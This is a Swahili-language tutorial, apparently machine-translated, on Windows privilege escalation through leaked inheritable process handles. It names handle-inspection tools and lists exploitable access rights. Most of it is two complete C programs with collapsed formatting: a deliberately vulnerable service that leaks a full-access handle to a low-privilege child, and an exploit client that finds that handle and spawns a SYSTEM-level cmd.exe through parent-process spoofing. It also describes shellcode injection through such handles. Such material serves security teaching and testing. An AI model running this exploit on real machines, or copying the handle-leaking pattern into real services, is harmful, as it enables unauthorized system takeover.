Handles katika mchakato huruhusu kupata rasilimali tofauti za Windows:
Kumekuwa na kesi kadhaa za kuinua mamlaka ambapo mchakato wenye mamlaka wenye mikono wazi na inayorithiwa umekuwa ukikimbiamchakato usio na mamlaka ukimpa ufikiaji wa mikono hiyo yote.
Kwa mfano, fikiria kwamba mchakato unaokimbia kama SYSTEM unafungua mchakato mpya (OpenProcess()) kwa ufikiaji kamili. Mchakato huo huo pia unaunda mchakato mpya (CreateProcess()) kwa mamlaka ya chini lakini ukirithi mikono yote wazi ya mchakato mkuu.
Kisha, ikiwa una ufikiaji kamili kwa mchakato wa chini wa mamlaka, unaweza kuchukua mkono wazi wa mchakato wenye mamlaka ulioanzishwa na OpenProcess() na kuingiza shellcode.
Mikono ya Kuvutia
Mchakato
Kama unavyosoma katika mfano wa awali ikiwa mchakato usio na mamlaka unarithi mkono wa mchakato wa mchakato wenye mamlaka wenye ruhusa za kutosha utaweza kutekeleza kodia yoyote juu yake.
Katika hiki kifungu bora unaweza kuona jinsi ya kutumia mkono wowote wa mchakato ambao una mojawapo ya ruhusa zifuatazo:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Kama ilivyo kwa mikono ya mchakato, ikiwa mchakato usio na mamlaka unarithi mkono wa thread wa mchakato wenye mamlaka wenye ruhusa za kutosha utaweza kutekeleza kodia yoyote juu yake.
Katika hiki kifungu bora unaweza pia kuona jinsi ya kutumia mkono wowote wa mchakato ambao una mojawapo ya ruhusa zifuatazo:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Mikono ya Faili, Funguo & Sehemu
Ikiwa mchakato usio na mamlaka unarithimkono wenye kuandika sawa na ruhusa juu ya faili au rejista yenye mamlaka, utaweza kuandika upya faili/rejista (na kwa bahati nyingi, kuinua mamlaka).
Mikono ya Sehemu ni sawa na mikono ya faili, jina la kawaida la aina hii ya vitu ni "File Mapping". Zinatumika kufanya kazi na faili kubwa bila kuweka faili nzima kwenye kumbukumbu. Hii inafanya matumizi kuwa "sawa" na matumizi ya Mkono wa Faili.
Jinsi ya kuona mikono ya michakato
Mchambuzi wa Mchakato
Mchambuzi wa Mchakato ni chombo unachoweza kupakua bure. Kina chaguzi kadhaa za kushangaza za kukagua michakato na moja yao ni uwezo wa kuona mikono ya kila mchakato.
Kumbuka kwamba ili kuona mikono yote ya michakato yote, SeDebugPrivilege inahitajika (hivyo unahitaji kuendesha Mchambuzi wa Mchakato kama msimamizi).
Ili kuona mikono ya mchakato, bonyeza kulia kwenye mchakato na uchague Mikono:
Kisha unaweza kubonyeza kulia kwenye mkono na kuangalia ruhusa:
Mikono ya Sysinternals
Mikonobinary kutoka Sysinternals pia itataja mikono kwa kila mchakato kwenye console:
LeakedHandlesFinder
Chombo hiki kinakuruhusu kufuatilia mikono iliyovuja na hata kujiendesha ili kuinua mamlaka.
Mbinu
Sasa kwamba unajua jinsi ya kupata mikono ya michakato unachohitaji kuangalia ni ikiwa mchakato usio na mamlaka unapata ufikiaji wa mikono yenye mamlaka. Katika hali hiyo, mtumiaji wa mchakato anaweza kuwa na uwezo wa kupata mkono na kuutumia vibaya ili kuinua mamlaka.
Ilisemwa hapo awali kwamba unahitaji SeDebugPrivilege ili kupata mikono yote. Lakini mtumiaji bado anaweza kupata mikono ya michakato yake, hivyo inaweza kuwa na manufaa ikiwa unataka privesc kutoka kwa mtumiaji huyo ili kutekeleza zana kwa ruhusa za kawaida za mtumiaji.
Kwa mfano, msimbo ufuatao unamhusisha huduma ya Windows ambayo itakuwa na udhaifu. Msimbo dhaifu wa binary ya huduma hii uko ndani ya Exploit kazi. Kazi hii inaanza kuunda mchakato mpya wa kushughulikia kwa ufaccess kamili. Kisha, inaunda mchakato wa chini wa kibali (kwa kunakili token ya chini ya kibali ya explorer.exe) ikitekeleza C:\users\username\desktop\client.exe. Udhaifu uko katika ukweli kwamba inaunda mchakato wa chini wa kibali na bInheritHandles kama TRUE.
Hivyo, mchakato huu wa chini wa kibali unaweza kuchukua kushughulikia ya mchakato wa juu wa kibali ulioanzishwa kwanza na kuingiza na kutekeleza shellcode (angalia sehemu inayofuata).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Mfano wa Ukatili 1
Katika hali halisi huenda usimudu kudhibiti binary ambayo itatekelezwa na msimbo ulio hatarini (C:\users\username\desktop\client.exe katika kesi hii). Huenda ukaharibu mchakato na utahitaji kuangalia kama unaweza kufikia handle yoyote hatarini ya mchakato wowote wenye mamlaka.
Katika mfano huu unaweza kupata msimbo wa ukatili unaowezekana kwa C:\users\username\desktop\client.exe.
Sehemu ya kuvutia zaidi ya msimbo huu iko katika GetVulnProcHandle. Kazi hii itaanza kuchota handles zote, kisha itakagua kama yoyote yao inamhusisha PID sawa na kama handle inamhusisha mchakato. Ikiwa masharti haya yote yanakamilika (handle ya mchakato wazi inayoweza kufikiwa inapatikana), inajaribu kuiingiza na kutekeleza shellcode kwa kutumia handle ya mchakato.
Uingizaji wa shellcode unafanywa ndani ya Inject kazi na itakuwa tu inaandika shellcode ndani ya mchakato wenye mamlaka na kuunda nyuzi ndani ya mchakato huo huo ili kutekeleza shellcode).
Katika hali halisi huenda usimudu binari ambayo itatekelezwa na msimbo ulio na udhaifu (C:\users\username\desktop\client.exe katika kesi hii). Huenda ukaharibu mchakato na utahitaji kuangalia kama unaweza kufikia handle yoyote iliyo na udhaifu ya mchakato wowote wenye mamlaka.
Katika mfano huu, badala ya kutumia handle iliyo wazi kuingiza na kutekeleza shellcode, itakuwa inatumika token ya mchakato wa handle iliyo wazi yenye mamlaka kuunda mpya. Hii inafanywa katika mistari kutoka 138 hadi 148.
Angalia jinsi kazi UpdateProcThreadAttribute inavyotumika na sifa PROC_THREAD_ATTRIBUTE_PARENT_PROCESS na handle ya mchakato wa wazi wenye mamlaka. Hii inamaanisha kwamba mchakato wa thread ulioanzishwa ukitekeleza _cmd.exe_** utakuwa na mamlaka sawa ya token kama mchakato wa handle iliyo wazi**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}